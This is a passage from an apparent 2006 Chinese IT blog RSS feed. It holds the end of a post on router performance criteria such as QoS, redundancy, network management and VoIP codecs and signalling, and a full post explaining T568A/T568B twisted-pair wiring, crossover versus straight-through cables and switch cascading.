/>分类业务带宽保证 <br /><br />体现路由器是否能对各种业务等级作带宽保证。该指标可以由队列调度算法等方式实现。 <br /><br />RSVP <br /><br />RSVP是资源预留协议，用于端到端路径上资源的预留。使用软状态刷新，是流驱动工作方式。该协议一般不能在大规模全国范围网络上运行。但是通常路由器支持该协议，一些著名厂商使用该协议用于MPLS。 <br /><br />IP Diff Serv <br /><br />区分服务是对IP服务质量分级，是对QoS的一种简化。 <br /><br />CAR支持 <br /><br />CAR是指承诺接入速率，是一种接入控制。按照与用户签订的协议，对超出承诺速率的数据包做不同处理：丢弃或标记；又称为标记颜色。 <br /><br />冗余 <br /><br />冗余可以包括接口冗余、插卡冗余、电源冗余、系统板冗余、时钟板冗余、设备冗余等。冗余用于保证设备的可靠性与可用性。冗余量的设计应当在设备可靠性要求与投资间折衷。 <br /><br />热插拔组件 <br /><br />由于路由器通常要求24小时工作，所以更换部件不应影响路由器工作。部件热插拔是路由器24小时工作的保障。 <br /><br />路由器冗余协议 <br /><br />路由器可以通过VRRP等协议来保证路由器的冗余。 <br /><br />网管 <br /><br />网管是指网络管理员通过网络管理程序对网络上资源进行集中化管理的操作。包括配置管理、记账管理、性能管理、差错管理和安全管理。设备所支持的网管程度体现设备的可管理性与可维护性。 <br /><br />基于Web的管理 <br /><br />体现设备是否能够通过Web进行管理。通过Web管理比较方便，但是安全性较差。通常允许通过Web浏览，不允许通过Web作更改。 <br /><br />网管类型 <br /><br />指示网络管理所支持的类型。通常使用SNMP协议管理。 <br /><br />带外网管支持 <br /><br />带外网管的支持表示路由器能否通过带外信道管理。 <br /><br />网管粒度 <br /><br />指示路由器管理的精细程度：管理到端口、到网段、到IP地址、到MAC地址等粒度。管理粒度可能会影响路由器转发能力。 <br /><br />计费能力/协议 <br /><br />随着路由器进入运营商网络，计费成为必不可少的一部分。路由器必须能够支持某种计费能力和协议来计费。 <br /><br />分组语音能力 <br /><br />分组语音支持方式 <br /><br />在企业中，路由器分组语音承载能力非常重要。在远程办公室与总部间，支持分组语音的路由器可以使电话通信和数据通信一体化，有效地节省长途话费。 <br /><br />当前技术环境下，分组语音可以分为3种：使用IP承载分组语音、使用ATM承载语音以及使用帧中继承载语音。使用ATM承载语音时可以分AAL1和AAL2两种。AAL1即电路仿真，技术非常成熟但是相对成本较高，AAL2技术较先进，但是当前ATM接口通常不支持。帧中继承载语音也比较成熟，相对成本较低。IP承载语音当前较流行。在上述技术中成本最低，但是当前IP网络QoS保证困难，通话质量较难保证。 <br /><br />协议支持 <br /><br />在IP承载语音中，H.323是ITU标准，是当前IP Phone网络最常用的协议栈。SIP是IETF标准，其目的是将网络设备简单化，将复杂功能做到用户终端中。从IP网本质来看，路由器与所承载业务无关，但是路由器端口对IP Phone协议的支持可以节约成本。 <br /><br />语音压缩能力 <br /><br />语音压缩是IP电话节约成本的关键之一。通常可以使用G.723和G.729。G.723在ITU－T建议G.723.1(1996)，语音编码器在5.3和6.3Kbps多媒体通信传输双率语音编码器中规定。相对压缩比较高，压缩时延较大。G.729在ITU－T 建议G.729 (1996)，8Kbps共扼结构代数码激励线形预测(CS－ACELP)语音编码中规定。压缩比较低，通话质量较好。 <br /><br />端口密度 <br /><br />指路由器支持IP电话的能力。通常以E1计算，一般一个E1支持30路电话。 <br /><br />信令支持 <br /><br />路由器E1端口上可能支持多种信令：ISUP、TUP、中国1号信令以及DSS1。支持ISUP、TUP或者DSS1信令的路由器可以有效地减少接续时间。在电信级的IP电话网络设备中通常要求支持7号信令。但是作为中低端路由器，通常只支持DSS1和中国1号信令。 </div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20718.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 09:31 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20718.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于双绞线的连接以及做法详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20627.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Sat, 16 Dec 2006 10:54:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20627.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20627.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20627.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20627.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20627.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<strong>
						<span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">关于双绞线的连接以及做法详解！</span>
				</strong>
				<b>
						<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
								<br />
						</span>
				</b>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">在论坛看到很多的朋友都提到了需要进行网络组建，而双绞线也是网络组建中不可缺少的一个部分——不要告诉我，你现在还在使用同轴线串机器玩儿哦：）很多人发帖子询问双绞线的正确接法以及</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">HUBTCH</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">的正确接法，为了避免帖子重复以及等待回帖的时间浪费，我现在在这里把这个问题重头到尾的说一次，希望大家看了之后就记住这些最基本的东西。</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">双绞线的接法按照</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">10/100 BASE T</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">的规定应该是有两种固定的标准，这就是</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">T568A</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">和</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">T568B</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">。实际运用当中，大家只要把这两种标准记清楚了就可以和几乎任何人合作组建网络——因为大家都使用这个标准，所以不存在兼容和错误的接法——除非他不遵守规则。</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">好了，现在我就把这两种接法写下来：</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
						<span class="main1">T568B</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">：橙白、橙、绿白、蓝、蓝白、绿、棕白、棕</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<span class="main1">T568A</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">：绿白、绿、橙白、蓝、蓝白、橙、棕白、棕</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">这两种线是怎么用呢？大家知道网线应该是两头都要做</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">RJ45</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">头的。而两种接线的方法就可以做出两种线来——一种是平行线（也叫直连线）一种是交叉线。所谓的平行线（又叫直连线）实际上就是线的两头采用同样的做法——要么两头都用</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">T568A</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">来做，要么两头都用</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">T568B</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">来做。而交叉线就是一头</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">T568A</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">而另外一头就用</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">T568B</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">——也就是两头不一样的做法——但是有一点，请遵循连线的规范。平常实际应用中是怎么使用这两种线的呢？</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
						<span class="main1">  </span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">应</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">用</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">类</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">别</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">接线方法</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">计算机——计算机</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">交叉线</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">计算机——交换机</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">平行线</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">交换机——交换机</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">交叉线或者平行线</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">好了，我们再说明一下，交换机用</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">RJ45</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">线连接到交换机把两个交换机串起来就称做级连。级连的作用就是当一台交换机的接口数太少了的时候，将两个交换机“堆叠”起来，通过</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">RJ45</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">线来达到组成一个更多口的“大”交换机。而交换机到交换机的级连一共有三种不同的方式。</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
						<span class="main1">1</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">、交换机的</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">UPLINK</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">口连接到交换机的普通口；</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<span class="main1">2</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">、交换机的</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">UPLINK</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">口连接到交换机的</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">UPLINK</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">口；</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<span class="main1">3</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">、交换机的普通口连接到交换机的普通口；</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">这三种级连的接线也是不同的：第一种情况用平行线；第二种情况用交叉线；第三种情况也用交叉线。给大家一个方便记忆的方法，那就是交换机级连中，如果你要进行级连的两口口的属性相同（要么都是</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">UPLINK</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">口，要么都是普通口），那么就一定用交叉线了！其他情况就用平行线了。</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">好了，就说这么多了，顺便说说，我上文中的“交换机”都可以用“集线器”来替换，因为在连接方式上这两个设备是一模一样的！</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">OK</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">！写完了，希望能够对大家有所帮助！</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">补充：</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: Arial">
						</span>
				</span>
				<span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">
						<br />
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">在</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">cisco</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">的定义中，把两端都是</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">568B</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">或者都是</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">568A</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">接法的网线称为</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">straight through,</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">而一端是</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">568A</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">另一端为</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">568B</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">的称为</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">crossover</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">，第三种接法是两端线序完全相反的接法，称为</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">rollover</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">，仅用于计算机连接某些路由器和交换机的</span>
				</span>
				<span class="main1">
						<span lang="EN-US" style="FONT-FAMILY: Arial">console</span>
				</span>
				<span class="main1">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial">口进行配置时使用。</span>
				</span>
		</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20627.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-16 18:54 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20627.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>